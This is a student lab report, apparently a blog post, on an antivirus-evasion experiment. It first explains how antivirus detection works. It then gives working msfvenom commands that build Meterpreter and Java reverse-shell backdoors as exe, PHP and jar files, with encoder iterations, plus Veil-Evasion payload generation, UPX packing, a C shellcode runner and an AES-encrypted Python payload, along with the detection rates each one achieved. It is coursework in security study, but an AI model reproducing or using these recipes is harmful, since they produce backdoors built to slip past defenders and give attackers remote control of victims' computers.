20194311姜晨昊Exp3-免杀原理与实践

20194311姜晨昊Exp3-免杀原理与实践

一、基础问题回答

1.1 杀软是如何检测出恶意代码的?

基于特征码进行检测

杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。

利用启发式恶意软件检测

将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测

对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。

​ 1.2 免杀是做什么?

免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,悄悄的干活(不悄悄的别人也不让我们进行攻击和窥探)。

1.3 免杀的基本方法有哪些?

  • 改变特征码
  • 如果你手里只有EXE
    加壳:压缩壳 加密壳
  • 有shellcode(像Meterpreter)
    用encode进行编码
    基于payload重新编译生成可执行文件
  • 有源代码
    用其他语言进行重写再编译(veil-evasion)
  • 改变行为
  • 通讯方式
    尽量使用反弹式连接
    使用隧道技术
    加密通讯数据
  • 操作模式
    基于内存操作
    减少对系统的修改
    加入混淆作用的正常功能代码
  • 修改内存特征码
  • 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
  • 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
  • 非常规方法
  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件

1.4开启杀软能绝对防止电脑中恶意代码吗?

说绝对是有些过了,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!

二、实验环境

免杀测试平台

三、实践内容

3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/70
在这里插入图片描述
在这里插入图片描述
使用Unicode编码
编码一次
生成代码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.56.104 LPORT=4311 -f exe > 20194311backdoor3.exe

在这里插入图片描述
在这里插入图片描述
进行检测,仍为53.并没有什么变化…
在这里插入图片描述
编码多次(此处采用我学号的序号11来进行编码)

  • 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

生成代码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -11 -b ‘\x00’ LHOST=192.168.56.104 LPORT=4311 -f exe > 20194311backdoor4.exe

参数意思:

  • -e选择编码器
  • -b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
  • -i设置迭代次数

在这里插入图片描述
再次进行检测,发现还上升了…
在这里插入图片描述
利用php格式文件
生成代码

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4311 x> backdoor_php.php 

在这里插入图片描述
文件大小下降了许多,进行检测
在这里插入图片描述
效果比之前的好很多

利用jar文件
生成代码

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.56.104 LPORT=4311 -f jar > backdoor_jar.jar

在这里插入图片描述

也不是很大,进行检测,结果如下
在这里插入图片描述

3.2veil,加壳工具实践

安装工具
安装命令行

sudo apt-get install veil-evasion

在这里插入图片描述
安装设置
下载成功后,修改setup.sh:

cd /usr/share/veil/config
vim setup.sh

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
修改成功后,veil等待安装
在这里插入图片描述
经过几十分钟的等待,弹出

[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!

在这里插入图片描述

则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
在这里插入图片描述
使用veil工具

veil
use evasion					//进入Evil—Evasion
use c/meterpreter/rev_tcp.py 	//进入配置界面
set LHOST 10.0.2.15		//设置反弹链接ip,此处为Kali的ip
set LPORT 4311				//设置端口
generate

在这里插入图片描述
在这里插入图片描述
同时由上图所示。设置生成的文件名称为20194311veil
保存路径为/var/lib/veil/output/compiled/20191310veil.exe
在这里插入图片描述
对此文件进行检测,但检出率还是很高,且由于文件比较大(105.03KB),检查所花费的时间也较长
在这里插入图片描述
免杀加壳尝试

  • 加壳是对相应的资源进行压缩,压缩后仍可运行。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 它可以用来保护版权,但同时也有许多病毒将其作为原理。

加壳指令

upx 20194311veil.exe -o 20194311_veil_upx.exe

在这里插入图片描述
在这里插入图片描述

对其进行检测,检出率基本上没有减小,看来目前杀软对于加壳的检测能力很强
在这里插入图片描述

3.3使用C + shellcode编程

使用msfvenom得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4311 -f c

在这里插入图片描述

编辑c文件

vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }

在这里插入图片描述
在这里插入图片描述

编译成可执行文件

i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

在这里插入图片描述

对其进行检测,可以看出检出率已经下降许多了
在这里插入图片描述

3.4通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt
打开veil,选择Evasion

list##寻找palyload

在这里插入图片描述
这里使用evasion中第28项:用python生成reverse_tcp
在这里插入图片描述
设置回弹IP和端口号,然后查看状态
在这里插入图片描述
在这里插入图片描述

生成文件目录如下,会有三个文件生成,需要将他们都拷贝到Windows下
在这里插入图片描述
在Windows上安装python27和32位py2exe(这个是生成exe文件的必备步骤),然后将拷贝到Windows下的三个文件拷贝到python27所在文件夹(这里一定是三个文件,不要把它们放在同一个文件夹再拷贝过去)
在这里插入图片描述
双击运行runme.bat,会在当前目录下生成一个与py文件相同名称的exe文件
在这里插入图片描述
对其进行检测
在这里插入图片描述
检测一下py文件
在这里插入图片描述
这里的原理便是使用了数据加密的方式进行多次编译后门软件

四、实验心得

  • 本次实验较为简单,但结果却又非常直观,可以明显地看到不同方法的效果。
  • 本此实验遇到的最大问题就是veil的安装,当时反复出现wine32缺失的报错,按照系统给的命令操作之后,却又一直卡在某一行,我也不知道是这一步就应该等待这么久还是我的操作出现了问题,反复多次尝试之后,我在操作到那一步之后,出去吃了顿晚饭,回来之后就惊喜地发现veil已经安装完毕,由此,我也确定了我的操作并没有问题,只是确实需要等待很久。
  • 本次实验我尝试了许多免杀方法,虽然有很多效果不尽如人意,比如使用msf编码器操作,但通过组合应用各种技术后,发现效果显著,检出率大幅下降,这也让我认识到网络安全之路依旧任重道远。
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值